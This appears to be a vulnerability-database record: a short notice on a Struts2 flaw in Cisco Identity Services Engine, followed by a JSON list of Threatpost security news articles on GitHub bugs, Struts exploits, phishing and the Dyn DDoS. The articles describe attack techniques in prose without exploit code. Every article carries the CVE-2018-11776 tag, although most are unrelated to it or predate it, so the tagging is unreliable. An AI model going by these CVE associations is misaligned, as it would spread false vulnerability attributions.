According to its self-reported version, the Cisco Identity Services Engine Software is affected by a struts2 namespace vulnerability.
Please see the included Cisco BID and the Cisco Security Advisory for more information.
{"threatpost": [{"lastseen": "2018-10-06T22:59:23", "description": "A Russian security researcher was able to take five low severity OAuth bugs in the coding site Github and string them together to create what he calls a \u201csimple but high severity exploit\u201d that gave him unfettered access to users\u2019 private repositories.\n\nBangkok-based researcher Egor Homakov \u2013 inspired to poke around the site after learning about its [new bug bounty program last month](<http://threatpost.com/github-launches-bug-bounty-program/103974>) \u2013 discussed the bugs in a blog entry [on his site](<http://homakov.blogspot.com/2014/02/how-i-hacked-github-again.html?m=1>) on Friday.\n\nGithub went on to fix the vulnerabilities \u201cin a timely fashion\u201d according to Homakov, who said he received a $4,000 reward, the highest Github has rewarded in the bounty program\u2019s short time, for his work.\n\nThe main problem lies in the site\u2019s Gist OAuth functionality. [Gists](<https://gist.github.com/>) are Pastebin-like repositories on Github that allow coders to share bits and pieces of their work with their contemporaries, and OAuth is an authentication protocol that can allow different entities, be it a web app or a mobile app, varying degrees of access to your account.\n\nThe first vulnerability in Github Homakov noticed was that he could bypass its [redirect_uri](<https://developer.github.com/v3/oauth/#redirect-urls>) validation by imputing a /../ path traversal. A path traversal attack allows access files and directories stored outside the web root folder to be accessed by manipulating the URL. In this case when the browser is redirected, Homakov found that he can control the HTTP parameter and trick it into not fully parsing the URL, letting him redirect to any Gist page he wants.\n\nIn fact Homakov found that whatever the client sent to get an authorization token, the provider would respond with a valid access_token, a vulnerability that could be used to compromise the log-in functionality on any site that uses it.\n\nThis \u2013 the second bug \u2013 could make it easy for an attacker to hijack the authorization code used for the redirect_uri and simply apply the leaked code on real client\u2019s callback to log in under the victim\u2019s account.\n\nHomakov discovered he could leverage both bugs to trick a user into following a link to get Github to leak a code sending request to him. Using something he\u2019s nicknamed an [Evolution of Open Redirect vulnerability](<http://homakov.blogspot.com/2014/01/evolution-of-open-redirect-vulnerability.html>) the code sending request is sent to an image request which Homakov can then use to then log into the victim\u2019s account and secure access to private gists.\n\nGists are static pages and can even allow users to embed their own images, or at least image code. In this situation there\u2019s a certain way the code can point to a suspicious URL and acquire the victim\u2019s code.\n\nOnce in, Homakov found that the client reveals the victim\u2019s actual OAuth access_token to the user agent, something he then was able to take advantage of and use to perform API calls on behalf of the victim.\n\nSince Gist falls under the Github umbrella, Homakov found the client approves any scope it\u2019s asked automatically. That includes allowing it to carry out specially crafted URLs that can leak code, giving him access to private GitHub repositories and Gists, \u201call in stealth-mode,\u201d because the github_token belongs to the Gist client. From here Homakov has the control of the affected Github user and their Gist account.\n\nHomakov is no stranger to rooting out Github bugs; he blogged about a bug involving the way the site pushes [public keys](<http://homakov.blogspot.com/2012/03/how-to.html>) in March 2012 and a problem with the way the site [handles cookies](<http://homakov.blogspot.com/2013/03/hacking-github-with-webkit.html>) last March.\n\nGithub kicked off its bug bounty program just over a week ago by promising to award anywhere from $100 to $5,000 to researchers who discover vulnerabilities in the site or other applications like its API or Gist. As Homakov\u2019s vulnerability involved both Github and Gist and fetched $4,000, it was clearly of concern to the site, with the way the vulnerabilities \u201c[fit so nicely together](<https://twitter.com/homakov/status/431685133570031617>),\u201d impressing Github.\n", "cvss3": {}, "published": "2014-02-11T10:53:58", "type": "threatpost", "title": "Five OAuth Bugs Lead to Github Hack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2014-02-13T22:01:16", "id": "THREATPOST:1F0994F898084346360FB7C6EFEC201C", "href": "https://threatpost.com/five-oauth-bugs-lead-to-github-hack/104178/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-05-30T05:51:35", "description": "Proof-of-concept code found on the GitHub repository could allow attackers to easily take advantage of a recently identified vulnerability in the Apache Struts 2 framework. The vulnerability ([CVE-2018-11776](<https://access.redhat.com/security/cve/cve-2018-11776>)), [identified earlier this week](<https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/>), could allow an adversary to execute remote code on targeted systems.\n\nOn Friday, proof-of-concept code was [released](<https://github.com/jas502n/St2-057>) on GitHub along with a [Python script](<https://github.com/pr4jwal/quick-scripts/blob/master/s2-057.py>) that allows for easy exploitation, according to Allan Liska, senior security architect with Recorded Future.\n\n\u201c[We have] also detected chatter in a number of Chinese and Russian underground forums around the exploitation of this vulnerability,\u201d he [wrote in a post](<https://www.recordedfuture.com/apache-struts-vulnerability-github/>).\n\nThe bug, which impacts Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16, is tied to an improper validation of input data. The Apache Software Foundation [patched](<https://cwiki.apache.org/confluence/display/WW/S2-057>) the vulnerability for all supported versions of Struts 2. Users of Struts 2.3 are advised to upgrade to 2.3.35 and users of Struts 2.5 need to upgrade to 2.5.17.\n\nLiska said the Apache Struts 2 vulnerability is potentially even more damaging than a similar [2017 Apache Struts bug used to exploit Equifax](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>).\n\n\u201cUnlike that vulnerability, this one does not require any plug-ins to be present in order to exploit it, a simple well-crafted URL is enough to give an attacker access to a victim\u2019s Apache Struts installation and there is already exploit code on Github and underground forums are talking about how to exploit it. The worst part for many large organizations is that they may not even know they are vulnerable because Struts underpins a number of different systems including Oracle and Palo Alto,\u201d Liska said.\n\nThe fact that a patch is available to fix the vulnerability should give cold comfort to companies potentially impacted by the flaw.\n\n\u201cThe Equifax breach happened not because the vulnerability wasn\u2019t fixed, but because Equifax hadn\u2019t yet updated Struts to the latest version. If this is a true working PoC, then any company who hasn\u2019t had the time to update their software, will now be at even greater risk,\u201d said Oege de Moor, chief executive officer at Semmle.\n\nDe Moor said Semmle is not confirming whether the reported PoC is functional.\n\n\u201cIf it is [functioning], attackers now have a quicker way into the enterprise,\u201d de Moor wrote in a prepared statement Friday. \u201cThere is always a time lag between the announcement of a patch and a company updating its software. There are many reasons why companies can\u2019t update software like Struts immediately, as it is used for many business-critical operations. We aim to give companies a chance to stay safe by working with Apache Struts to make a coordinated disclosure.\u201d\n", "cvss3": {}, "published": "2018-08-24T22:07:17", "type": "threatpost", "title": "PoC Code Surfaces to Exploit Apache Struts 2 Vulnerability", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-24T22:07:17", "id": "THREATPOST:2F30C320035805DB537579B86877517E", "href": "https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-10-06T22:55:11", "description": "Github is forcing a password reset on some of its users after it detected a number of successful intrusions into its repositories using credentials compromised in other breaches.\n\n\u201cThis appears to be the result of an attacker using lists of email addresses and passwords from other online services that have been compromised in the past, and trying them on GitHub accounts,\u201d GitHub said in an [advisory](<https://github.com/blog/2190-github-security-update-reused-password-attack>) published Thursday by Shawn Davenport, GitHub VP of security. \u201cWe immediately began investigating, and found that the attacker had been able to log in to a number of GitHub accounts.\u201d\n\nGitHub said it detected late Tuesday unauthorized attempts against a large number of GitHub accounts. It stressed that GitHub itself has not been compromised.\n\nIt warns users that in addition to the exposed credentials, some personal information may have been exposed as well as lists of accessible repositories and organizations.\n\n\u201cIf your account was impacted, we are in the process of contacting you directly with information about how to reset your password and restore access to your account,\u201d GitHub said.\n\nThe source of credentials used to attack GitHub accounts is unknown. ~~A request for comment from GitHub was not returned in time for publication~~ Github declined to comment beyond what is in its advisory.\n\nIn recent weeks, a number of massive online services including Twitter, VerticalScope, LinkedIn, Tumblr, VK.com and others have been informed that login credentials are for sale in bulk on the black market.\n\nAggregator site LeakedSource has been selling access to its database of breached credentials and more than 700 million credentials have been shared with the site.\n\n\u201cOur intentions are to bring data breaches to light no matter how old, inform consumers about what data is out there, inform consumers to use unique passwords and through our business API directly help companies determine if their users are at risk for account hijacking,\u201d LeakedSource told Threatpost.\n\n[VerticalScope](<http://www.verticalscope.com/about-us/security-update.html>), whose technology powers a number of popular online forums, is the most recent victim to come to light. More than 40 million credentials are believe to be implicated, stolen from sites running outdate vBulletin software that fails to implement HTTPS.\n\n\u201cWe believe that any potential breach is limited to usernames, userids, email addresses, ip addresses and encrypted passwords of our community users,\u201d VerticalScope said in its advisory.\n\nThe VerticalScope data was shared with LeakedSource, which analyzed it and said most of the passwords were salted using the outdated MD5 algorithm and easily crackable. LeakedSource published a top 10 list of the most common passwords and an unusual number of jibberish, complex passwords were included (18atcskd2w was used more on more than 91,000 accounts) indicating that they were likely generated by a bot and used to access the various forums.\n\nIn addition to VerticalScope, LeakedSource has analyzed tens of millions of credentials belonging to Twitter, iMesh and users of other large services whose credentials were stolen at some point.\n\nExperts, meanwhile, continue to caution against [password reuse](<https://threatpost.com/no-simple-fix-for-password-reuse/118536/>). As these breaches show, using the same password to access multiple sites is becoming fodder for attackers compromising one site to use that same access at other locations on the Internet.\n\n\u201cWe know that attackers will go for the weakest link and that is any user who reuses their passwords. It\u2019s a major problem,\u201d said Christopher Hadnagy, chief human hacker at security firm Social-Engineer.\n", "cvss3": {}, "published": "2016-06-17T11:01:55", "type": "threatpost", "title": "Breached Credentials Used to Access Github Repositories", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-06-28T13:58:36", "id": "THREATPOST:375A1BFC29F5B279C4D5E461D79CE4AA", "href": "https://threatpost.com/breached-credentials-used-to-access-github-repositories/118746/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:57:34", "description": "Free online code repositories such as GitHub provide a valuable collaboration service for enterprise developers. But it\u2019s also a trove of potentially sensitive company and project information that\u2019s likely to warrant attention from hackers.\n\nAn application security specialist from Berlin has developed a tool he hopes can keep companies a step ahead. [Gitrob](<http://michenriksen.com/blog/gitrob-putting-the-open-source-in-osint/>) is an open source intelligence command-line tool that mines GitHub for files belonging to an organization and runs them against pre-determined patterns looking for potentially sensitive information that isn\u2019t meant for public consumption.\n\nIts developer Michael Henriksen, who does application security and code auditing for SoundCloud, says Gitrob starts off by using GitHub\u2019s public API to query a Github organization\u2019s list of public members.\n\n\u201cWhen the list of members is obtained, it queries GitHub again for each member that returns a list of their public repositories,\u201d Henriksen told Threatopst. \u201cThe contents of the repositories are never downloaded to the machine, it simply uses GitHub\u2019s API again to obtain a list of file names. When clicking on a file in the web interface to see its contents, it is fetched from GitHub\u2019s servers.\u201d\n\nHenriksen said he has built a number of Observers, which act as Gitrob plug-ins, that flag files matching certain patterns. Organization members, repositories and files are saved to a PostgreSQL database for analysis before a Sinatra webserver is started locally in order to serve a web app that presents the data for analysis, which must be conducted manually.\n\n\u201cAll the files are sent through these observers, one by one, and the observers can then decorate or make changes to the file\u2019s database record, before it is saved to the database,\u201d Henriksen said. \u201cRight now, Gitrob actually only contains one observer which will flag files that match [patterns of interesting files](<https://github.com/michenriksen/gitrob/blob/master/patterns.json>), but the design makes it easy to introduce new logic to look for other things. The patterns are built in to the tool itself.\u201d\n\nSecurity analysts inside an enterprise should feel at home using Gitrob, Henriksen said, but cautioned that the tool will point out a default set of potentially sensitive items. An analyst would have to manually comb through them to determine whether those files should be public.\n\n> OSINT #Gitrob mines GitHub for sensitive information that isn\u2019t meant for public consumption.\n> \n> [Tweet](<https://twitter.com/share?url=https%3A%2F%2Fthreatpost.com%2Fgitrob-combs-github-repositories-for-secret-company-data%2F110380%2F&text=OSINT+%23Gitrob+mines+GitHub+for+sensitive+information+that+isn%26%238217%3Bt+meant+for+public+consumption.>)\n\n\u201cA security team in an organization can use Gitrob to periodically scan their repositories for sensitive files that might be checked in,\u201d Henriksen said. \u201cThe current version is not really suitable to run in an automated fashion, so it would have to be run manually, but I am planning to change that in the future so that it can be run automatically and report to somewhere when new things are found.\u201d\n\nHenriksen said he tested Gitrob against a number of GitHub repositories belonging to companies of different sizes; he found a variety of information using Gitrob from username-password combinations, email addresses, internal system mappings and other information that could be used in phishing campaigns or other social engineering attacks. Henriksen said he notified affected organizations; most were appreciative he said.\n\n\u201cI am not aware of any tool that specifically targets GitHub organizations like Gitrob does,\u201d Henriksen said. \u201cPeople have been finding sensitive files with GitHub\u2019s search functionality for a while (kind of like Google dorks for Github), but I think Gitrob is the first tool that makes the task of finding sensitive files within an organization very easy.\u201d\n\nInstallation instructions and requirements can be found on [his Github page](<http://michenriksen.com/blog/gitrob-putting-the-open-source-in-osint/>).\n\n[_Image courtesy othree._](<https://www.flickr.com/photos/othree/>)\n", "cvss3": {}, "published": "2015-01-13T12:55:07", "type": "threatpost", "title": "Gitrob Combs Github Repositories for Secret Company Data", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2015-01-16T13:26:31", "id": "THREATPOST:BFFC84BE9B4393A9F11FFBECEC203286", "href": "https://threatpost.com/gitrob-combs-github-repositories-for-secret-company-data/110380/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:55:19", "description": "When it comes to cloud computing, APIs more or less drive everything, but in the eyes of some researchers, existing security controls around them haven\u2019t kept pace.\n\nWhile individual components of a system can be secure, when that system gets deployed in the cloud it can often become insecure \u2013 and get worse at scale, according to Erik Peterson, a cloud technology researcher with Veracode. Peterson, who also refers to himself as a Cloud Security Weapons Manufacturer, described the \u2018Emergent Insecurity\u2019 of the cloud in a talk Wednesday at the Source Conference in Boston.\n\nEarly on in his presentation, Peterson recounted a [Chris Hoff](<https://twitter.com/Beaker>) quote that he claims sums up the concept: \u201cIf your security sucks now, you\u2019ll be pleasantly surprised by the lack of change when you move to cloud.\u201d\n\nIn particular Peterson warned about the dangers associated with API credential exposure, something which could easily lead to apps being rigged to spread malware, cloud infrastructure adapted for use in a Bitcoin mining operation, additional attacks being launched, and the most critical: the downloading of sensitive customer data.\n\n\u201cAPI access is the new equivalent to physical access,\u201d Peterson said, \u201cIf someone compromises your most sensitive API credential, it doesn\u2019t matter.\u201d\n\nAPI keys, which protect cloud metadata \u2013 information that usually includes Amazon Web Services (AWS) access credentials, and startup scripts \u2013 can often be the only thing standing between users and total compromise, he stressed.\n\nPeterson, who\u2019s researched cloud and architect solutions in AWS since 2009, warned that old, vintage software vulnerabilities can easily be leveraged for compromise.\n\nHe\u2019s seen it all: Server-side request forgery vulnerabilities, XML external entity vulnerabilities, command injection vulnerabilities, unintended proxy or intermediary vulnerabilities. Each one can lead to the unintended exposure of metadata, but when they all come together, it can result in a full stack hack, or what Peterson likens to \u201cdeath by 1,000 cuts.\u201d\n\nFor instance, he claims, if an attacker gained access to an API key they could escalate privileges. If they gained access to cloud DNS, it could reveal the private IP of the web server. If an attacker got access to an IP address, they could uncover an app that hasn\u2019t been tested. Once in, it\u2019s possible an attacker could do the worst, Peterson claims, clone the database for quiet extraction.\n\n\u201cLots of people are shuffling cloud data and not thinking of the flaws,\u201d Peterson said, \u201cthey all lead to exposing that user data, all that great info my system needs to startup.\u201d\n\nThere are ways to prevent a full stack hack, mainly through encryption, but common sense doesn\u2019t hurt either.\n\n\u201cNo more checking your API keys into GitHub,\u201d Peterson advised.\n\nAttackers often scour the service looking to exploit vulnerabilities and access cloud metadata API. Storing sensitive information like API keys there can be a quick lesson in futility. That still doesn\u2019t stop users from doing it though; a cursory search on the service for \u201cSECRET_ACCESS_KEY\u201d last year yielded 7,500 placeholder results, Peterson said.\n\nOne developer discovered 140 servers running on his Amazon Web Services account [last year](<https://it.slashdot.org/story/15/01/02/2342228/bots-scanning-github-to-steal-amazon-ec2-keys>) after a bot scanning GitHub sniffed out his Amazon Elastic Compute Cloud (EC2) keys.\n\nDevelopers should get off the old EC2 classic and lockdown their Simple Storage Service (S3) buckets, Peterson said Wednesday. If they aren\u2019t already, developers should log everything, especially API activity, he said, adding that some AWS tools, like [Cloudtrail](<https://aws.amazon.com/cloudtrail/>), which records AWS API calls, and [Netflix\u2019s Security Monkey](<https://threatpost.com/netflix-open-source-security-tools-solve-range-of-challenges/107931/>), which can be used to monitor and analyze AWS configurations, can be invaluable.\n\nInstead of trying to control change, developers should react to change, rethink their threat model and realize that lower priority software vulnerabilities, like SSRF, or XXE, can still be deadly, Peterson said.\n\n\u201cIf you have a key that an app is using ask yourself: What\u2019s the worst thing that could happen if it was compromised?\u201d Peterson asked aloud, \u201cIs there a path that leads to my entire environment getting deleted by some unknown entity?\u201d\n", "cvss3": {}, "published": "2016-05-19T14:20:22", "type": "threatpost", "title": "Protecting Cloud APIs Critical to Mitigating Total Compromise", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-05-19T18:20:22", "id": "THREATPOST:08BA9FD6E2245EA011F6C29F24929679", "href": "https://threatpost.com/protecting-cloud-apis-critical-to-mitigating-total-compromise/118197/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:53:56", "description": "GitHub recently awarded $18,000 to a researcher after he came across a bug in its GitHub Enterprise management console that could have resulted in remote code execution.\n\nThe company patched the vulnerability at the end of January, but news of the flaw didn\u2019t surface until this week when GitHub and Markus Fenske, a German independent pen-tester [disclosed it](<http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html>).\n\nGitHub Enterprise is an on-premises version of GitHub.com that can be used to deploy a GitHub service on their organization\u2019s local network. The vulnerability is a combination of two bugs, Fenske told Threatpost Thursday.\n\nOne problem stems from the fact that a static value was being used to cryptographically sign the Ruby on Rails session secret for the console. The secret value is supposed to be a randomly generated per-machine value used to sign the cookie, not a static value.\n\nGitHub acknowledged on Tuesday that the static secret was only supposed to be used for testing and development, but \u201can unrelated change of file permissions prevented the intended (and randomly generated) session secret from being used.\u201d\n\n\u201cFor testing purposes they replaced it with a static value and forgot to change it back,\u201d Fenske told Threatpost. In the production environment, there was a mechanism that should have replaced it with a random value. But it did not work.\u201d\n\nWhile GitHub shouldn\u2019t have been using a static secret to sign cookies that hold session data, the other problem, Fenske says, is that session data could be serialized with Marshal. [Marshal](<https://ruby-doc.org/core-2.2.2/Marshal.html>), a library that converts collections of Ruby objects into a byte stream, has a method, .load, that can return the result of converted serialized data.\n\nAs Fenske points out, [documentation](<https://ruby-doc.org/core-2.2.0/Marshal.html#method-c-load>) around Marshal.load says to \u201cnever pass untrusted data (including user supplied input) to this method,\u201d but that\u2019s what GitHub was doing.\n\nBy knowing the secret, an attacker could have forged a cookie, deserialized by Marshal.load, and tricked GitHub into running whatever code they wanted.\n\n\u201cBecause the secret is known, you can create a valid signature and pass arbitrary data to Marshal.load, which then leads to remote code execution,\u201d Fenske said.\n\nFenske says that while he sells sugar wax for hair removal by day\u2013[seriously](<https://www.bodypil.de/ueber-uns.html>)\u2013he hacks stuff by night. He founded an IT security consulting firm, Exablue, last month which he plans to use to carry out audits, pen-testing, and \u201cthe whole range\u201d going forward. He said he was inspired to poke around GitHub Enterprise after he stumbled upon a blogpost by Taiwanese hacker Orange Tsai about [a SQL injection](<http://blog.orange.tw/2017/01/bug-bounty-github-enterprise-sql-injection.html>) he found in the platform.\n\n\u201cAbout two minutes after decoding the source and opening the first file (config.ru) of the first application (the management interface), I noticed the vulnerability,\u201d Fenske said.\n\nGitHub fixed the vulnerability on Jan. 31 when it pushed out GitHub Enterprise 2.8.7. Now the service defaults to a randomly generated session secret if the initially configured session secret is not found.\n\nIt was a fairly quick turnaround for the company; the patch came only five days after Fenske reported the issue and earned him $10,000, the highest reward the company gives out through its bug bounty program, and [a spot in its Hall of Fame](<https://bounty.github.com/researchers/iblue.html>).\n\n\u200b\u201dWorking with GitHub is really nice,\u201d Fenske said, \u201cFor a company that big, their speed is amazing.\u201d\n\nThe researcher had no idea when he submitted the bug, however, that the company was in the middle of a promotional bug bounty period. The company [announced the promotion](<https://github.com/blog/2302-bug-bounty-anniversary-promotion-bigger-bounties-in-january-and-february>), which stretched from January to February, to celebrate the third anniversary of its [bug bounty program](<https://bounty.github.com/#rules>) with HackerOne.\n\nAfter he sent a draft of his disclosure to the company this week, Fenske discovered his bug was severe enough to fetch an additional $8,000 bounty and [second place in the contest](<https://github.com/blog/2332-bug-bounty-third-anniversary-wrap-up>).\n\n\u201cI was just writing my article and sent GitHub a draft to look at, and the answer came within minutes, telling me that I can publish whatever I like and that they gave me more money,\u201dhe said, \u201cI did not know about that extra contest and was very pleasantly surprised.\u201d\n\nFenske\u2019s bug was one of three GitHub fixed in its Enterprise product to qualify for additional bug bounty money. The company also fixed two separate SAML authentication bypass bugs in the service.\n\nFenske said the latest release of GitHub Enterprise uses a secret that\u2019s 16 random bytes written in hex.\n\n\u201cI quickly calculated that cracking it will take about 469142742208 gigayears on a 8-GPU instance (for comparison: The Sun will be gone in 7.7 gigayears). I think it\u2019s secure now.\u201d\n", "cvss3": {}, "published": "2017-03-17T09:00:04", "type": "threatpost", "title": "GitHub Code Execution Bug Fetches $18,000 Bounty", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2017-03-16T23:38:35", "id": "THREATPOST:E984089A4842B564B374B807AF915A44", "href": "https://threatpost.com/github-code-execution-bug-fetches-18000-bounty/124378/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:53:25", "description": "Days after news broke last week that advanced, persistent threat actors penetrated nuclear facilities, researchers are explaining techniques used by adversaries to gain toeholds in similar targets in energy. Cisco Talos reported Friday that email-based attacks, leveraging template injection techniques, targeting nuclear facilities and others have been ongoing since May.\n\n\u201cTalos has observed attackers targeting critical infrastructure and energy companies around the world, primarily in Europe and the United States. These attacks target both the critical infrastructure providers, and the vendors those providers used to deliver critical services,\u201d [researchers wrote on Friday](<http://blog.talosintelligence.com/2017/07/template-injection.html#more>).\n\nAdversaries are leveraging classic Word document-based phishing attacks, they said. However, the Word document attachments used in the phishing campaigns do not contain malicious VBA macros or embedded scripting. Instead, attachments attempt to download a malicious template file over a Server Message Block (SMB) connection so that the user\u2019s credentials can be harvested, researchers said.\n\nCisco Talos did not claim this specific attack was used against Wolf Creek Nuclear Operating Corporation or in connection with any specific attack cited in a joint report issued by the Department of Homeland Security and the Federal Bureau of Investigation last week. Neither did researchers claim attacks had ever led to a hacker breaching or disrupting the core systems controlling operations at an energy plant.\n\n\u201cOne objective of this most recent attack appears to be to harvest credentials of users who work within critical infrastructure and manufacturing industries,\u201d Talos wrote.\n\nTargeted phishing attacks included DOCX type documents delivered as attachments under the guise of being an environmental report or a resume. While no malicious macros or scripting is embedded in the document, when a user opens it, a request is made via the SMB protocol for a template, as such \u201cContacting:\\\\\\ . . . \\Template.dotm.\u201d\n\n\u201cThe document was trying to pull down a template file from a particular IP,\u201d they noted. That connection was not via TCP 80 (often used for C2 communications), rather the SMB request was via TCP 445, a traditional Microsoft networking port.\n\nWithin the sandboxed VM \u201ca WebDAV connection was attempted over a SMB session when requesting the template.\u201d\n\nWebDAV is a Web-based Distributed Authoring and Versioning extension to the HTTP protocol that allows users to collaboratively edit and manage files on a remote server, according to [WebDAV Working Group](<http://www.webdav.org/>).\n\nUsing the WebDAV connection, the DOCX file requests a specific Relationship ID that is present in word/_rels/settings.xml.rels, or the XML instructions. According to researchers, the Relationship ID is identical to a phishing tool named Phishery, which uses the exact same ID in its template injection.\n\nPhishery is known as a credential harvester with a Word document template URL injector. According the [GitHub tool description](<https://github.com/ryhanson/phishery>), \u201cPhishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication.\u201d Once the target opens the Word document attachment sent in the phishing email, the template request reaches out to a Phishery server that triggers a dialogue box on the victim\u2019s computer requesting a Windows username and password.\n\nTalos researchers said Phishery was not used in the attacks it observed. It theorizes attacks may have used modified Phishery code or used the same Relationship ID to thwart analysis.\n\nIn the sample Talos examined, unlike with Phishery that prompted users for credentials, instead a template file is requested from a third-party server with no Basic Authentication prompt for credentials. \u201cSuch a prompt was not needed nor seen for samples requesting the template over SMB,\u201d they wrote.\n\nOnce the target opens the Word document a template request is made to a third-party server that initiates the download of a potentially rogue template. \u201cThe attachment instead tries to download a template file over an SMB connection so that the user\u2019s credentials can be silently harvested. In addition, this template file could also potentially be used to download other malicious payloads to the victim\u2019s computer,\u201d researchers said.\n\nTalos explains that the attacker\u2019s SMB server was down when it analyzed samples, making it impossible to determine the payloads (if any) that could have been dropped by the template being downloaded. \u201cForcing SMB requests to an external server has been a known security vulnerability for many years. Without further information it is impossible to conclude what the true scope of this attack was or what malicious payloads could have been involved.\u201d\n\nAccording to a _[New York Times](<https://www.nytimes.com/2017/07/06/technology/nuclear-plant-hack-report.html>)_ report of attacks against Wolf Creek Nuclear Operating Corporation included phishing lures with highly targeted email messages containing fake resumes for control engineering jobs.\n\nLate last month, the U.S. government warned critical infrastructure companies of hacking campaigns against nuclear and energy sector. \u201cHistorically, cyber actors have strategically targeted the energy sector with various goals ranging from cyber espionage to the ability to disrupt energy systems in the event of a hostile conflict,\u201d the report said.\n", "cvss3": {}, "published": "2017-07-10T14:34:03", "type": "threatpost", "title": "Energy, Nuclear Targeted with Template Injection Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2017-07-10T18:34:03", "id": "THREATPOST:6495B216452F8FF8CDF9A8F13AD41168", "href": "https://threatpost.com/energy-nuclear-targeted-with-template-injection-attacks/126727/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:54:34", "description": "**Update **DNS provider Dyn has confirmed two massive distributed denial of service attacks against its servers Friday impacting many of its customers including Twitter, Spotify and GitHub. The attacks came in two waves, one early Friday morning and a second just a few hours later.\n\n\u201cThis attack is mainly impacting U.S. East and is impacting Managed DNS customers in this region. Our engineers are continuing to work on mitigating this issue,\u201d according to a [statement by the company to customers](<https://www.dynstatus.com/>).\n\nAs of 5:30 p.m. EDT Dyn was still reporting it was investigating and mitigating several DDoS attacks against its domain name servers.\n\nIt\u2019s unclear how many sites have been impacted. For hours Friday morning many popular sites appeared to be experiencing outages or extremely sluggish performance including Twitter, Etsy, Github, SoundCloud, Spotify, Heroku, PagerDuty and Shopify. Dyn representatives would not confirm if each one of these outages was tied to the DDoS attack.\n\nBoth the Department of Homeland Security and the Federal Bureau of Investigation said they were monitoring the attacks. Gillian Christensen, acting deputy press secretary for DHS said in a statement: \u201cDHS and FBI are aware and are investigating all potential causes.\u201d\n\nManchester, New Hampshire-based Dyn said it first began monitoring the DDoS attack at 7:10 a.m. EDT Friday. The company said in a statement to customers:\n\n> \u201cStarting at 11:10 UTC on October 21th-Friday 2016 we began monitoring and mitigating a DDoS attack against our Dyn Managed DNS infrastructure. Some customers may experience increased DNS query latency and delayed zone propagation during this time. Updates will be posted as information becomes available.\u201d\n\nDyn said at 9:36 a.m. EDT, its services were restored and many of its affected customers, including Twitter, were back online. However, at 11:52 a.m. (EDT) Dyn updated its network status reporting an additional attack impacting its managed DNS infrastructure. Then 40 minutes later Dyn added the attacks had spread to its \u201cmanaged DNS advanced services with possible delays in monitoring.\u201d\n\nIt\u2019s unclear, at this time, the source of the DDoS attack, Dyn said.\n\nDale Drew, chief security officer for telecommunications firm Level 3 Communications said he had been monitoring the attack and the likely source were overseas hackers targeting U.S. cyber infrastructure. He added, [via a video statement posted to Periscope](<https://www.periscope.tv/w/1lPJqYjVMlZJb>), \u201cWe are seeing attacks coming from an Internet of Things botnet we have identified as Marai.\u201d\n\nSecurity firm Flashpoint also identified Marai as the likely culprit in the attack.\n\nThe Mirai malware continues to recruit vulnerable IoT devices into botnets [at a record pace](<https://threatpost.com/mirai-bots-more-than-double-since-source-code-release/121368/>), one that\u2019s only gone up since the source code for Mirai was made [public two weeks ago](<https://threatpost.com/source-code-released-for-mirai-ddos-malware/121039/>), according to Level 3.\n\nCraig Young, principle security researcher at Tripwire said the attack has telltale signs of an IoT-based DDoS attack similar to ones experienced by [Krebs on Security](<https://threatpost.com/iot-botnets-are-the-new-normal-of-ddos-attacks/121093/>) in September. In those attacks, hackers also used Mirai malware to compromise IoT devices to launch DDoS attacks.\n\n\u201cWe are seeing an increase in the number of high-intensity attacks that leverage compromised consumer DVRs and cameras. Without being able to analyze the source of Dyn\u2019s traffic it\u2019s impossible to know for sure. But what we are already seeing today, in terms IoT-based attacks, is the tip of the iceberg,\u201d Young said.\n\nRequests to Dyn for information on the source of the attacks have not been returned.\n\nYoung said that security experts have seen an increase in DDoS extortion attempts. However, he points out, many have been hoaxes and when companies didn\u2019t pay up nothing happened.\n\nForeScout CEO, Michael DeCesare said that attacks, such as the ones carried out Friday, are exasperated by the lack of security in IoT devices.\n\n\u201cThese attackers can now recruit an army of IoT devices to launch a wide scale DDoS attack due to the volume of these devices and their ease of infiltration,\u201d DeCesare said in a prepared statement regarding Friday\u2019s attacks.\n\n\u201cThe question corporations should be asking themselves is whether or not their devices are being exploited as part of these attacks. The solution starts with visibility \u2013 you cannot secure what you cannot see,\u201d he said.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/10/06232928/Threatpost_Level3_outage_map.jpg>)\n\nLevel3 live outage map on Friday 9:50 AM (EDT)\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/10/06232859/Screen-Shot-2016-10-21-at-5.18.29-PM.png>)\n\nLevel3 live outage map on Friday 5:20 PM (EDT)\n\n_This article was updated Oct. 21 at 5:30 p.m. with new information from the Department of Homeland Security, new information tying the attacks to Mirai malware and quotes from both Level 3 Communications and ForeScout. \n_\n", "cvss3": {}, "published": "2016-10-21T10:01:14", "type": "threatpost", "title": "DYN Confirms DDoS Attack Knocking Out Twitter, Spotify Other Major Sites", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-10-21T21:37:20", "id": "THREATPOST:0FC293825070B81036932BDB41D793B5", "href": 